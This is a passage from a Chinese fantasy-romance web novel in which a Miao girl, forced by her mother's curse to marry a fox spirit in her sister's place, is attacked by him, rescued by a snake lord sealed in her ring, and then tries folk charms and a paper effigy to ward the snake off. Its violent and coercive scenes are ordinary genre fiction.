双生蛊是我们阴苗族的高等蛊,蛊有双生,中蛊者三日可在外人跟前对换身份,九日可换气运,十五日则能换命数! 而且中了此蛊,会在某些时候,痛感相连…… 根据我前几日的经历看,我和宋花枝,显然是在干那种事的时候,才会体验感相通。 如果,近七天内,这只野狐仙和宋花枝睡过,那双生蛊对他的影响则更深…… 几十年前,族中也有女人对自己心爱的男人用过此蛊。 结果就是,那个男人至死也没认出,眼前与自己恩爱数十年,白首偕老的女人不是自己原来的挚爱。 母亲给我用这蛊,便是想将勾引灰狐仙这口黑锅焊死在我身上! 我正迷茫不知所措时,突然一股强大的力量缠上我的脖子,下一秒,我就被那股力量给猛地拽出花轿—— 电光火石间,一只修长有力的大手已经狠狠钳住我的脖子。 尖锐指尖掐破我的脖颈皮肤。 麻木刺痛感自脖间传遍四肢百骸,银珠面帘在眼前晃得叮当聒噪。 捆在身上的咒网也顷刻破碎消散。 我被那只大手掐得喘不上气,脑子空白,胸口仿佛压着巨石,每一次艰难呼吸,都差些撑破心脏。 “放开、放开我!”我痛苦挣扎,嗓音沙哑地反抗。 乱挥舞双手拍打他手背的空隙,我终于看清了掐我脖子的灰狐大仙、究竟是何长相…… 那是张俊俏阴柔的成年男子面容…… 男人身高至少有一米八,穿着一袭柳青色古代广袖长衣,墨发过腰,身形颀长,却颇显消瘦。 长眉狐狸眼,高鼻淡唇。 一双深邃的灰青眸子,上挑的眼尾处,点着一颗妖媚的赤红小痣。 目光阴狠,眼神冷厉,嘴角虽恣意上挑,可那双淬满寒冰的灰青瞳孔里,却充斥着危险的杀气…… 他、好像真的,发现我不是宋花枝了! 男人周身都笼罩着摄人的阴寒气流,双腮紧绷,愤怒咬牙,掐在我脖子上的瘦长五指越发用力。 冷冷启唇,年轻嗓音比腊月裹着冰雪的萧瑟寒风还要森凉彻骨—— “换嫁?宋家,还真是吃了熊心豹子胆,真以为随便送个女人给本王,就能把本王糊弄过去么!” 最后半句话,每个字,都是从他的齿缝里挤出来的! 洞里穿着一样服饰,脖子上皆裹着一条狐毛围脖的狐女们见他发怒,立即齐刷刷跪下向他磕头,瑟瑟求饶:“王上息怒,王上息怒……” 而他此刻的手劲,已经将我勒得眼前发黑,大脑频频空白了…… 再这样被他掐下去,我撑不到半分钟,就会被他活活掐断脖子! “放、放开我……”我气息微弱地硬着头皮拼命向他颤声解释:“我、是她妹妹……都是母亲、逼我的!” 我以为告诉他真相他就会放过我,可我到底还是低估了动物仙的兽性! 他听见我的话,但也仅是长眉一挑,阴恻恻嗤笑一声,紧接着,手上力气更重—— “既然是个冒牌货,碍了本王的眼,那就、去死吧!” 脖子被男人宽大的手掌给攥住,男人尖锐的狐爪往我脖颈里再次深陷一寸,嵌着指甲的那一整节手指,全部插进了我的脖子里—— 我痛到心脏骤停失去所有反抗之力,一道道滚烫血珠顺着伤口迅速下滑,濡湿了我的嫁衣衣领…… 只差一步,他就能徒手抓断我的大动脉及喉咙! 但,紧要关头,洞内陡然卷起一阵森寒阴风。 阴风自他背后,朝我扑面袭来—— 我下意识咬牙忍着极致痛苦闭上双眼,劲风擦脸而过,却猛地掀开我面上罩着的一层薄薄红纱,及串串银珠面帘…… 也是这一刹,灰狐仙瞧清了我的脸,眼底的不悦与杀意顷刻被惊诧及探究取缔。 掐在脖子上的手忽然松开。 我一时没了支撑,重心不稳的无力朝后倒下。 可,我摔下去的那一秒,腰身突然被男人伸臂环住! 不等我反应过来,灰狐仙就反常地将我打横抱起,大步带我迈向……洞内那张嵌满珠宝、黄金打造、挂着红色纱幔的大床! 他这是、要做什么? “放开我!”我沙哑反抗,惊恐地在他怀里胡乱挣扎。 他三步并两步就将我送到了铺着虎皮毯的黄金大床上。 我刚从他怀里出来就瑟瑟发抖地往大床里侧躲,但他竟手快的一把钳住我下巴,拇指与食指用力挤捏我双腮,不许我再往后退。 晦暗的青灰眸子死死盯着我,缓缓抬起另一只玉白大手,用指腹,小心翼翼撩开我的面纱与面帘…… 直到我与他之间没有阻碍地四目相对,他才满意勾唇,挑了挑眉峰,像把玩一件瓷器那般,指腹轻轻在我脸颊上游走。 抚得我背上发冷,毛骨悚然! 男人弯腰,上挑的狐狸眼里攒出几分勾人的妖光,垂在肩前的一水儿墨发落在我的肩头,惊得我浑身抖得更狠了…… “本王原以为,你姐姐已经够美、有七分像庙里那尊神娘娘了…… 没想到,你比你姐姐,更像那位神娘娘。你的眼睛,比你姐姐好看。 与你一比较,她,倒更像赝品。” 第10章 他是,青漓蛇尊! 我猛咽了口口水,仓皇恐惧地直接原地在床上跪了下来,害怕地不停给他磕头: “灰狐大仙,放了我吧,都是我母亲做的!她为了保住我姐姐,就给我下了双生蛊,逼迫我嫁给你! 我不是宋花枝,我没有招惹过你,灰狐大仙,你大发慈悲,放我一马好不好,求你了!” “双生蛊?”男人的衣袖在我头顶翩然摇晃,不屑冷哼:“雕虫小技,也敢在本王面前卖弄。不过……” 他忽伸手抓住我的胳膊,粗鲁地将我从床上扯起来,一只大手猛地按住我后腰,将仓皇失措的我紧紧抱入怀中—— 放开我胳膊,大手改为来捏我下颌,他目光如炬地盯着我,眯了眯勾人的狐狸眼,笑吟吟道: “不过,若你能受得住本王,将你换给本王,本王姑且可以允你做个小,待来日,我将你姐姐娶过来,你们姐妹俩,就在我这仙府中,再续姐妹深情……” 说着,燥热的指腹不停摩挲我的脸,似要蹭掉我颌上一层皮。 我难以接受的惶恐摇头,急切道:“你要的,不是我姐姐吗?!而且,我只是个人类,我和你、人妖殊途!” 他深沉的青灰眼眸倏尔亮起,掐着我的下巴,暧昧的将薄唇附在我耳边,灼热吐息呵得我耳鬓发痒—— “本王要你姐姐,是因她主动招惹了本王。她的脸,与娘娘庙的神娘娘,七分相似。 当然,最重要的是……山里这些没用的母狐,没有一条,能受得住本王一夜。 你姐姐生了一副媚骨,天生就是要靠这种事修炼媚术的,唯有她,能陪本王一夜,而不力竭。” 他说着,故意又将唇再往我耳畔贴近几分,“你比你姐姐更像神娘娘,本王倒是希望,你也有命,享受本王带给你的福泽……” 陪他一夜?! 开什么玩笑,那些母狐狸都经不住他的折腾,更何况我还是个活生生的人! “不!”我慌乱摇头拒绝,如果和他睡一夜不死人的话,我可以咬咬牙忍了,可是落进他手里就会被他玩死! 我不是宋花枝,如果有可能的话,我也想过普通人的生活,平淡度过一生。 可惜,我的反抗于他而言就是蝼蚁濒死前的最后挣扎。 “本王看上的人,没资格同本王说不!”他眸色一沉,狠戾的一把抓住我的头发,垂首就要来吻我的唇…… 然,他的鼻尖刚贴近我,就不悦的耸了耸鼻头,长眉骤然拧成一团。 愣了片刻后,冷笑讥讽:“装什么贞洁烈女,一身蛇味,看来,从前背着你的族人,没少偷欢。蛇都能接受,本王堂堂狐王,宠幸你,是你的荣幸!” 蛇味…… 我的身上怎么会有蛇味! 便在我走神时,他蛮横强势地揽着我腰吻了过来,一手还霸道扯掉我身上的腰带…… “放开我!”我嘶声反抗的厉害。 他却冷哼:“还装什么?都不是第一次了,身子给谁,不是给?那条蛇,有本王体贴么?” 话音刚落,我的衣襟就被他无情扯破了。 “你放开我!”我气恼的一时激动,抬手就狠狠一巴掌抽在了狐仙的脸上…… 狐仙动作僵住,不可思议的猛推开我,狼狈站直身。 抬手抹了把唇角,看见指腹沾染的殷红血色,男人竟怒极反笑,灰沉眸子又亮起来:“呵,有趣。” 居高临下的瞟了眼胆颤发抖,体力不支的我,男人仿佛,对我更感兴趣了。 指尖再度掐住我的下颌,男人眼尾猩红地戏谑道: “打本王?这么多年了,还没有女人敢一巴掌抽本王脸上……不过,本王就喜欢征服你这种,会张牙舞爪的小野猫。” 说完,他拂袖一道法力就破开了我的衣衫。 我身上的嫁衣顿时胸口敞开,衣襟滑落至臂弯处。 露出贴身的淡黄色绣花裹胸…… 我惊惧的着急护住胸口,清楚自己不可能从他手里逃掉了。 既然左右都是死路一条,那不如,我自己选条死法! 我手快的从头上拔下一支银簪子,朝着自己脖子上的大动脉就要捅下去—— 与其被这死狐狸羞辱死,不如自我了断! 男人眼神极好的先一步发现了我的意图,“想死,做梦!” 紧接着一道法力就震落了我手中的银簪。 我咬牙忍着五指骨头碎裂的剧痛,举着颤抖的手,无助的湿了眼眶。 难道今天,真的在劫难逃了吗…… 我自杀的举动成功惹怒了男人,男人恼怒的拽过我衣领,拎起我的身子逼我与他对视,凶残道:“就算死,你也只能死在本王的床上!” 我毅然对上男人怒火熊熊的眼眸,气若游丝的朝他讥讽一笑,“你个、傻哔——” “贱人!”男人忍无可忍的掌心聚起一团黑雾,扬袖就要朝我头顶击过来—— 成功了,他急眼了。 最好,能一掌拍死我! 而就在他的强劲掌风袭向我头顶逼向我天灵盖的那一刻,一缕青烟倏然从我右手指间的蛇瞳戒指里飘了出来—— 紧接着,我的眼前有抹青色一晃而过,不等我看清那是什么东西,拽着我衣领的狐仙就被一道强悍力量给陡然拍飞了出去! 这是、什么情况…… 我被狐仙松开衣领,腿上一软,一不小心就从床上摔了下来! 本就酸痛的身体被这么一摔,更是痛到我眼角潮湿。 我跌坐在床边,揉了揉摔疼的手臂,昂头朝吃痛闷哼的狐仙望过去…… 只见狐仙被洞穴石壁弹撞半跪在地,一头墨发凌乱地垂落于胸前,捂住胸膛就憋不住地猛喷了一口腥血…… 淬了毒的眼神缓缓抬起,目光越过我的身影,死死盯着我身后的东西—— 我一愣,憋住呼吸,僵着脖子顺着他的视线,机械扭头。 目光所及,是一条庞大粗壮、青光熠熠、浑身生满坚硬蛇鳞……泛着冷光的鳞甲随着呼吸,微微一张一翕的——青色、巨蛇! 巨蛇身躯粗长,蛇尾一圈圈盘踞在我的背后…… 我本该扶在地上的手,此刻,正稳稳按在他冰凉坚硬的蛇尾青鳞上! 我呼吸急促的壮着胆子,目光沿着他的蛇身,一寸寸往上挪—— 视线最终定格在,它那双绽着金光的深邃竖瞳……以及,它蛇口两侧的锋利毒牙上。 巨蛇周身笼罩着潮湿的薄雾,蛇身高耸,蛇首微垂,一双冷冽金眸正静静凝望着我。 见我怔在地上,巨蛇将脑袋再低下几分,收了嘴边毒牙,平静朝我吐了两下血红的蛇信子…… 冰冷的眸子也柔和了许多。 它静静立在我的背后,像是,在给我撑腰…… 直至,我留意到大蛇眉心的那抹赤红流烟印记…… 我紧绷的身躯,才不自觉松懈下来。 是他! 昨晚,不是梦! 我惊诧地攥紧双手,不可思议地愣瞧着他,一动不敢动。 原来,他藏身在外婆给我的蛇瞳戒指里! 既然,他醒了,我们睡都睡了,那他应该看不得灰狐仙当他面给他戴绿帽子吧。 他会保护我的对么…… 至少,他不会让我死在别的男人床上! 五米开外的灰狐仙踉跄爬起身,阴恻恻地盯住青蛇王,咬牙切齿地恼火质问道: “你是何方神圣,本王在九黎山从未见过你!你竟敢闯本王的洞府坏本王好事,真是活腻了!” 立在我身后的蛇王闻言挺直身躯,不屑地扫了灰狐仙一眼,高冷启唇:“少废话,打了再说!” 话音落,青色巨蛇一个飞身,风驰电掣地朝灰狐仙冲过去—— 灰狐仙老脸一白,避之不及的着急后退两步,一转眼,也化成一条身躯长满灰狐毛,耳尖与眉心皆余留一抹白,身后蓬松炸开五条青尾的成年大狐狸。 一蛇一狐在三米外的空地里打得不可开交,青尾灰狐妄图用锋利兽爪挠瞎青蛇王双眼,但却被青蛇王蛇尾一扫,二度拍撞在冷硬石壁上。 灰狐仙跌落在地连滚了两圈,四爪麻利的再匆匆爬起,呲牙咧嘴地朝蛇王发出警示的闷哼声。 同一时间,灰狐仙周身迅速聚拢起一团乌黑雾气,再出手,一蛇一狐直接从地面打上了半空。 两东西斗法,强大的灵泽顿时于平地掀起阵阵阴冷飓风—— 洞府里的金银瓷器摆设被飓风卷的叮当作响,石桌上的白瓷茶具更是啪的一声,全被掀下桌,落地碎成瓷渣渣! 趁着蛇王与灰狐仙斗得难舍难分,我艰难地扶床从地上站起来,看准洞口光渗进来的方向,拎起裙摆就要先逃一步…… 但,就在我离内室洞口只差两步之遥时,头顶突然传来一声狐狸的哀鸣—— 下一瞬,灰狐狸就被蛇王一蛇尾劈落下来,重伤的身躯正好啪的一声,摔在了我的脚边! 我被吓得一个激灵猛往旁侧跳了一步。 灰狐狸砸在地上,满身是血地痛苦张嘴,又呕出一口黏糊糊的血沫。 只是,灰狐狸都被伤成这样了,竟还有力气从地上爬起来…… 看它东倒西歪地站起身,我胆怯的连连后退数步,直到后背撞上冰冷的石壁,才心有余悸地停顿住。 灰狐狸淬了一口血沫,不死心地哑着嗓音,口吐人言:“你、到底是谁!” 大青蛇淡漠眯眼,漫不经心地用蛇尾扫去鳞甲上残留的几点狐狸血,居高临下地睥睨他:“此地,是本尊的地盘。若非本尊沉睡,九黎山岂容你称王。” 短短几字,语气平淡,却威压极强! 灰狐狸重伤的身躯狠狠一僵,蓦地瞪大充血的狐狸眼,语气恐惧中,又携着几丝不甘:“你是、红云洞的那条青蛇,青漓蛇尊!” 青漓、蛇尊…… 李大叔诚不诓我,娘娘庙下镇压着的这条大青蛇确实是个狠角色。 能镇得住灰狐仙! 大青蛇眼底毫无波澜地淡淡应了句:“正是本尊。” 灰狐狸晓得这次是踢到铁板了,确认完大青蛇的身份,咬紧一口狐狸牙,转头就化作一缕灰烟往洞外仓皇逃了…… 灰狐仙逃跑后,洞里的母狐狸们也纷纷着急逃窜,一窝蜂地往外面的千里连绵大山深处躲—— 我贴着石壁站在狐狸洞内,目送洞里最后一条母狐跑远,这才心跳加速,扭头看向杵在洞里的那条足有十米长的青蛇王…… 青蛇王此刻也在垂眸瞧着我,与他目光相接那一刻,我浑身都起满了鸡皮疙瘩! 他收拾完灰狐仙,下一步,是不是就该收拾我了?! 传闻他这条青蛇王之所以被镇压在娘娘庙下,就是因为他曾在苗域为非作歹,祸乱一方,扰得三千里苗域民不聊生…… 我小时候,还在邻居赵奶奶家听过关于青蛇大妖的故事。 赵奶奶说,娘娘庙下的青蛇大妖狠戾凶恶,动一动蛇尾,就能令天地失色,风云巨变。 闭一闭眼,便可让人间白昼变黑夜! 青蛇大妖刚来苗域那两年,九黎山上,遍地是人骨! 蛇王虽说长得美……但他吃人啊。 完了,谁能算到,他竟然真醒了! 我越想越害怕,今天好不容易才从灰狐仙的手里逃掉,可不能又折在这条蛇王手里啊! 我与他四目相对了将近十分钟…… 他没再说话,而我,则一个劲咽口水。 他这样盯着我,眼睛不涩么? 他怎么都不眨眼啊! 三十六计,跑为上计…… 要不然、跑吧? 我双手攥紧繁琐的裙摆,暗暗下定决心。 终于,等洞口一阵凉风袭进来时,我硬着头皮,心一横—— 转身就朝洞外疯跑了出去! 老天爷啊,早知道他会醒,我还不如去嫁阴尸呢…… 昨晚上半场算我强迫他……可下半场他也主动了! 不知道看在我们有过一夜情的份上,他能不能留我一条小命。 我一口气狂跑了三里路,直到踏上下山的那条崎岖小道,我才拖着沉重步伐,按住砰砰乱跳,剧烈起伏的胸口停了下来。 幸好,他没有追上来。 我艰难挪到一棵柳树下,抬手扶树干,大口喘着粗气。 擦面而过的清风里,隐约携着一丝,熟悉的莲花清香…… 今年的荷花,开得这样早吗? 一口气刚缓上来,我的脑子勉强清醒了八九分。 忽然,一道清冷平静的磁性声音从身后传来,儒雅淡漠:“不带本尊一起回家么?” 第11章 早知你会醒,绝不敢睡你! 我霎时脊背一僵,石化在柳树下。 他、还是追来了! 疲倦与恐惧同时在头颅里炸开,我竟突然眼前一黑,窝囊的腿软倒了下去。 “阿鸾!” 一个携着花香的清凉怀抱从后接住了我。 男人心疼抬指,抚了抚我汗湿紧皱的眉心,一条有力手臂托住我的腰肢。 随即,将不争气晕死过去的我,打横抱了起来。 “本尊,有这样可怕么……” —— 再次清醒,我已经躺在自家的大床上了。 银杏守在我的床边,见我浑噩睁开双眼,立即惊喜握住我的手,着急和在我床前徘徊的李大叔喊道:“老爸!镜镜醒了!” 随后又后怕地扑进我怀里,激动抱住我: “呜镜镜,你总算是逃过了一劫!我就说,镜镜以前遭了那么多罪都扛过来了,大难不死必有后福。” 李大叔顿住步伐,一脸严肃地走近我两步,关心道:“现在感觉怎么样?身上有没有内伤?” 我躺在床上,揽住银杏,拍拍她的后背猛松一口气,摇头哑声回答:“我没事……” 不解的环顾四周,我嗓中干涩地艰难问李大叔:“李叔,我怎么回来的?” 我记得,自己是在下山的路上,体力不支晕倒的…… 晕倒后,好像被蛇王给抱了起来。 而且,我的喉咙也不疼了。 伸手摸摸,脖子上的伤,竟然消失了! “难道是蛇王把我送回来的?” 李大叔双手背后,眉头微蹙,凝重开口:“你昨夜,还是去了山中禁地,选择嫁给了青蛇王。” 我心虚地低头嗫嚅:“我以为青蛇王不会醒……” 李大叔并没有多追问旁的,听罢只道: “这也算是你们的缘分。是蛇王把你送回来的,傍晚我和银杏在家等消息,蛇王遣了条小黑蛇过来告诉我,说你已经回家了。” “那我早晨,怎么会突然出现在灰狐仙的花轿内?”我紧张问。 李大叔叹口气,说: “早上五点,你母亲就带人来你家给你换衣梳妆了。我本打算设法阻拦的,但发现你身上已经沾染了蛇王的气息,便没有再插手。 你已经嫁给了蛇王,蛇王不会对你见死不救。从今日起,你就是蛇王的夫人了。” “大清早的,大祭司她们在宗祠地牢中没找到你,就直接来你家搜人了。 你那会子不知道怎么回事,一直昏迷不醒,你母亲就让喜婆子给你换了嫁衣画了妆。 你母亲对你也太狠心了,怕你醒过来后设计逃跑,就在你身上下了好几道法咒!” 银杏义愤填膺的握拳恼怒道:“都是她的女儿,她就算不疼你,也不能把你往死路上推啊!” 我勉强支起身子,从床上坐起来,对于母亲的所作所为早就习以为常了: “宋花枝是她一手培养出来的圣女,她在宋花枝身上倾注了太多心血,何况,宋花枝从小就在她身边长大…… 宋花枝是神娘娘转世,又是整个阴苗族最圣洁干净的长生泉供养女,是她赋予了宋花枝一身荣光,她怎么舍得看着自己最疼爱最争气的女儿被山里的野狐仙毁掉。” “那你呢!你从小就被她抛弃,她可有对你尽过一天做母亲的责任?宋花枝自己惹出祸事,大难临头,她就强迫你给宋花枝背锅,做宋花枝的替死鬼! 从前老祭司活着,还有人护着你,现在老祭司也没了……如果老祭司还在,大祭司母女俩怎么敢对你下手?” 银杏握住我的手心疼不已,红着眼眶愤愤道:“她们就是欺负你身后没人撑腰!” 是啊,我外婆还在的话,一定见不得她们这般算计我。 可,外婆已经过世了。 我低头湿了眼角,想了想,问李大叔:“那些突然清醒的村民又是怎么回事?” 李大叔冷哼一声,“都死了。” “什么?”我心头一颤,猛地坐直身,不敢相信道:“他们不是已经恢复正常了吗?” 他们在众目睽睽下控诉我的样子,分明就是个逻辑清晰的正常人! 李大叔在床前拉个凳子坐下,闷声道: “他们本来就是你母亲用阴阳巫术强行唤醒的人,你外婆下葬那天,他们身上的阳火已经灭了两盏。 你母亲唤醒他们,为的就是把你姐姐做过的那些孽安在你头上,如今你母亲目的达到了,他们自然就没用了。 你的花轿刚送上山,他们就相继暴毙在家里,下午两点,我才将最后一个死者的魂魄送去阴间。” “那他们的死,岂不是又要算到我头上?”我气极反笑。 李大叔残忍说破现实: “不然呢?现在整个月阴村都以为在娘娘庙与男人淫乱,与野仙家苟且的女孩是你。现在仅剩的三名证人也死了,这口黑锅自然要砸在你头上。” “凭什么!为什么要我替她受报应,我不服。”我抓紧搭在身上的被子,下定决心道:“我一定要找到证据,证明我是清白的!” “你还想再上娘娘庙?”李大叔问。 我咬牙不甘道: “外婆走了,我得学会自己保护自己,如果这次的黑锅我背下了,那就算我从灰狐仙手里逃过一劫,以后我母亲还是会让我给宋花枝背其他骂名! 我不想沦为月阴村人人喊打的过街老鼠,不想未来在族人的面前抬不起头,处处低人一等!” “我支持镜镜!” 银杏挽住我的胳膊赞同道: “大祭司她们三言两语就能毁了镜镜的清白名声,镜镜如果不反抗自保,那她们以后肯定会变本加厉的欺负镜镜! 不是镜镜干的事,凭什么要安在镜镜头上!什么圣洁无暇的神娘娘转世,长生圣女,我们偏要揭穿宋花枝的真面目!” 说着,银杏仗义握住我的手,“你要去娘娘庙,我陪你!不过……爸,宋花枝为什么要在娘娘庙和那些仙家还有青壮年男族人干那种事啊?” 李大叔从腰后掏出白玉烟杆,点火,燃起烟锅里的碎烟草,深吸了一口,吞云吐雾: “还能为什么,自然是为了修炼。男人的精元,对她有用,野仙家的精元更能助她增长修为。挑在娘娘庙干这种污秽事,是因为娘娘庙是整个三千里苗域,灵气最纯粹充沛的地方。” “娘娘庙里,真的有神明吗?”我向李大叔问出了心底困惑已久的问题。 同样的问题,我也曾问过外婆,外婆告诉我,娘娘庙里供奉着一尊心善的神。 没人知道这神是什么来历,只知道自从娘娘庙落在九黎山上,降于苗域后,九黎山里的野仙家们就再也不敢为非作歹,骚扰三千里苗域的生灵了。 可如果娘娘庙里真有神明,宋花枝又怎么敢在娘娘庙干这些污秽事。 还是,宋花枝真是神娘娘转世…… 李大叔意味深长地看了我一眼,最后只给了我一个模棱两可的答案:“从前有,现在没有了。” 从前有现在没有,那岂不是只剩个空庙了?! 怪不得野仙家们敢在娘娘庙作祟。 “宋花枝,真的是神娘娘转世吗?”我不死心地企图从李大叔这得到答案。 李大叔拿起烟杆,朝床腿处磕了磕,“神不会害人,只有妖魔,才会损人性命。” 是啊,如果宋花枝真是神娘娘转世…… 神娘娘怎么可能做出这种淫乱无度的事! 李大叔瞟了眼我豁然开朗的脸色,平静问道:“你见过蛇王了?” 银杏闻言也立即八卦贴上来:“蛇王长得怎么样?!像人吗?” 我呛住,回忆起蛇王那张俊美无俦的脸,瞬间心虚地红了双颊…… “他、修炼得道,当然像人……长的、咳,勉强还能看吧!” “啊?勉强、还能看?” 银杏立马对蛇王失去了兴趣,嫌弃地往边上窜了窜: “那就是一般般了,算了,我对平平无奇的男人无感。只是可怜了我们镜镜,嫁了个非人类也就算了,还长得一般!” 银杏越说越难受,抱着我就要哀嚎。 我赶紧抢先一步打断她的鬼哭狼嚎:“目前这不重要!重要的是,他是蛇王,会吃人的!我的小命暂时都难保,你还管什么长相!” 银杏憋住声,恍然大悟:“也是哦!” 趁着李大叔还在,我赶忙向他求助: “李大叔,我现在该怎么办啊!那条蛇是不是从今往后就缠上我了!我当时只是为了找他挡灾,我没想过他会苏醒…… 我利用了他,他会不会吃了我啊!李叔,你有没有办法,让他放过我?” 李大叔平静地抽着大烟,从容道:“我刚才不是和你说过么,你与蛇王,是命中注定的缘分。况且,是你先不懂事招惹了他,他不会吃了你,但也不会放过你。” “那、我和他岂不是,真要相处一辈子?”我心惊胆战地呢喃。 李大叔掏出干净手帕擦拭烟杆,“你穿嫁衣去嫁他,和他做了夫妻,以后他就是你的丈夫。你放心,他不会要你的命,相反,他还会在暗中护着你。” 言罢,深深瞧着我,别有深意道:“凡事耳听为虚,眼见也为虚,用心感受,才是真。试着去与他相处,和他接触,他不是坏东西,你会喜欢上他的。” 我会喜欢上他…… 喜欢上一条蛇? 虽然听起来有点离谱,可,我相信李大叔不会害我。 何况,我嫁给青蛇王本来就是李大叔牵的线。 他那晚故意提起南头的山洞,就是在有心将我往九黎山禁地里引…… 不过,即便如此,在我还没有弄清那条蛇是好是坏期间,我还是不能掉以轻心! 紧张伸手拽住李大叔的袖子,我猛吞了口口水,“那个,李大叔,你有没有什么驱蛇控蛇的符咒,给我几张以备不时之需……” 万一蛇王哪天想不开真要一口咬死我,我也好拿出来自救。 李大叔望着我欲言又止地张了张嘴,片刻后,还是从兜里掏出了几张驱邪的黄符塞给我。 李大叔与银杏离开后,我惴惴不安地下床,跑去外婆的房间一阵翻箱倒柜。 半个小时后总算把外婆生前收藏的几本苗域巫蛊术古籍都给翻了出来。 外婆生前是阴苗族的前任大祭司及现任鬼师,阴苗善死蛊,听村里的老人们说,外婆年轻时炼的蛊丹乃是整个苗域最灵的秘药。 而且,外婆不但会炼死蛊,控生蛊的技术也是一流! 阴苗族祖先最开始也是会操纵生蛊的,只是苗域各族从远古时期血脉绵延至今,苗域蛊术皆是口耳相传,留下的记载甚少,世代相传过程中难免会有遗漏。 加之各族俱是经历过严重的天灾人患,是以苗域的秘术至今已失传了泰半。 阴苗族当初为了保住本族炼阴蛊的秘术,便选择放弃传承控生蛊的能力。 可是即便这样做了,阴苗族的秘术也没有保存下来太多。 现在的阴苗族,也就只有祭司一脉才可以修炼更高乘的蛊术。 普通族人,连炼个退烧治感冒的蛊丹都有困难。 至于外婆为何会控生蛊,是因为外婆年轻时有个青梅竹马的阳苗玩伴。 那个阳苗人刚满二十岁就得了绝症,外婆为救他性命炼了无数颗蛊丹,可到头来仍没能治好他。 而他也在临终前,把自己会的控生蛊秘术都传给了外婆。 外婆生前珍藏的基本苗域巫蛊术古籍中,就有一大半是那个阳苗族人送给她的。 阳苗族控蛊术中就有控蛇之法! 我着急忙慌地翻开那些古籍目录,将九本古籍摊在桌上一字排开,仔细查找…… 都怪我从前太过懒怠放纵,外婆活着的时候曾将这九本书塞进我手里,要我挑想学的蛊术修炼,她给我做指导。 但我总想着,外婆身体还那么硬朗,我就算学蛊术,也不急于一时。 现在外婆走了,我又招惹了娘娘庙下镇压着的那条青蛇,只能临时抱佛脚照着古籍学一点了! 翻到第五本古籍,我终于在书里翻出了对付有灵性的蛇类大妖的办法! 书上说,用犀牛角、朱砂、雄黄、苍术、磷粉研磨混合,能驱蛇百丈,将此物随身佩戴,蛇蝎精怪则不敢近身。 这个好! 我认真拿本子把这些内容摘抄记下来,准备等会混点试试。 第六本古籍里,有收录避蛇的灵符。 记下来! 第八本古籍里,记载了控蛇的口诀。 记下来! 第九本,上说,被仙家缠身,可以给自己烧个替身,糊弄仙家…… 这个也记下来! 晚上七点半,天色总算黯沉了下来。 我拿上准备好的香包、符纸、口诀小抄、以及做工粗糙,胸前写着我生辰八字的红色纸扎人去门口池塘边的十字路口给自己烧替身…… 犀牛角与朱砂雄黄等用料我家里就有,空白灵符我家也不缺。 而我扛过来的纸扎替身,我自己就会做。 从前外婆给村里人招魂还阴债常会用到纸扎人,由于随用随买不大方便,而且村里的扎纸匠又是位身体不大好的六十多岁老人家,冥钱纸扎的生意平时并不好做,隔个一两天才会有一位买家上门。 因此老纸扎匠开门做生意的时间也不固定,有时傍晚四五点就关门休息了。 可外婆每次接手的麻烦事都发生在深更半夜,阴苗族人敬重外婆,若非家里实在无计可施,找族里懂门道的人也解决不了,绝不会轻易惊动外婆。 事情闹到外婆跟前,十回有九回都是到了最后期限,外婆半夜三更需要纸扎与冥器,又不能次次都将上了岁数的老纸扎匠大半夜喊起来。 是以,为了便捷期间,外婆有时会在家里,自己动手做一些纸扎人囤着。 如果赶上纸扎人不够用的时候,就喊我临时粗糙地扎上几只。 故而,我打小就会做纸扎,只是我的手艺没有外婆精细,外婆每次都能将纸扎做得栩栩如生,纸人面部描绘的更是与生人一般无二。 我做的纸扎……粗略看,还凑合。 至少有鼻子有眼。 脸与生人不像,就贴张照片上去! 我蹲在池塘南头的老槐树下,把纸扎人放在外婆从前常用的烧纸盆里。 纸扎人的胸口,被我用毛笔蘸朱砂,歪歪扭扭地写上戊辰、丙辰、壬寅、辛亥八个红字。 烧之前,我特意用针扎破了自己的食指,滴了点血在纸人眉心。 这样,替身就万无一失了! 从口袋里掏出打火机,我将纸扎人点燃。 纸糊的小人遇火瞬间燃起凶猛烈焰,被池塘头的夜风一刮,火烧得更凶了! 不到五分钟,滚烫的火舌就将纸扎小人给彻底焚成了灰烬。 我看着火盆里残留下的片片黑色纸烬,猛松一口气,瘫坐在草地上。 缓了缓,又赶紧跪下身冲火盆磕了三个头: “蛇王老爷,收了替身可就不能收我了!老天爷保佑,西王母保佑,神娘娘保佑,保佑蛇王老爷分不出它是个假货! 蛇王老爷,你有什么怨尽管冲我的替身撒,你如果实在生气,一口吃掉她也行!只要别要我的小命就成! 和你成婚实属误会,我要是早知道你会醒,绝不敢去睡你啊!” 我胆颤心惊地祈祷完,又朝烧纸盆里丢了几张黄纸,小半筐金元宝。 等一切做完,我才从地上爬起来,拍拍衣裳准备原路返回。 只是,我刚迈出去两步,一阵寒风就猛地袭向我后背,吹得我脊上一阵发麻—— 而我,也有所感应的倏然停步。 浑身起满鸡皮疙瘩,头皮发麻的、僵硬扭头……转身…… 目光落回老槐树下,果然见到一条遍体生满青色鳞甲的十米长巨蛇,盘着蛇尾,昂头挺胸,目光清冷的平静睥睨着我…… 是、蛇王! 第12章 宋鸾镜,你想抛夫弃子? 他竟然,又现身了! 我心跳加速的瞪大双眼石化在原地,大脑飞速运转,疯狂设想着等会他扑上来咬我,我是该先洒雄黄粉还是该先烧灵符…… 但,槐树前的青蛇大妖只用余光扫了眼铁盆里的纸人灰烬,沉默片刻,淡淡启唇:“本尊的眼神,有这么不好?” 他的意思是…… 他能分清纸人和真人?! 呸,这不废话吗,我现在人就杵他眼皮子底下,眼神再差,也能分清真假啊! 想了想,青蛇大妖又说:“这个纸人……丑的、别具一格。” 我:“……” 他还挑上了! 就这个丑人……我还扎了整整一个半小时呢! 手指头都给我扎进倒刺了。 不过,我并不敢当面吐槽他。 它这次现身,不会是来找我算账的吧? 可他这会子的情绪,好像稳定的又不像是来杀人…… “本尊……”他突然探头接近我,我脑中轰的一声,警惕心刹那提到了嗓门眼! 来了,他果然是来杀我的! 我手忙脚乱地从口袋里掏出自己仿着古籍示例图画出的灵符,掏出打火机就点: “你别过来!你、你别吃我,我不好吃!我有符!” 点燃的黄符被我胡乱扔向它。 但……效果微末、个屁。 根本毫无效果! 那些符别说避蛇了,我扔过去那一刻,他甚至连眼都没眨…… 火焰落在他尾边,他低眸淡淡一扫,清冷评价:“此符,一般。” 我自尊受创的又从口袋里掏出荷包,扯开布袋,直接将里面的粉末全朝他洒了过去—— “别怪我心狠,我也不想害你的!” 我心虚别过脑袋,原以为他会被这些避蛇的药粉伤到…… 可谁知,药粉扬向他,却在半空中炸出一朵朵蓝色磷花。 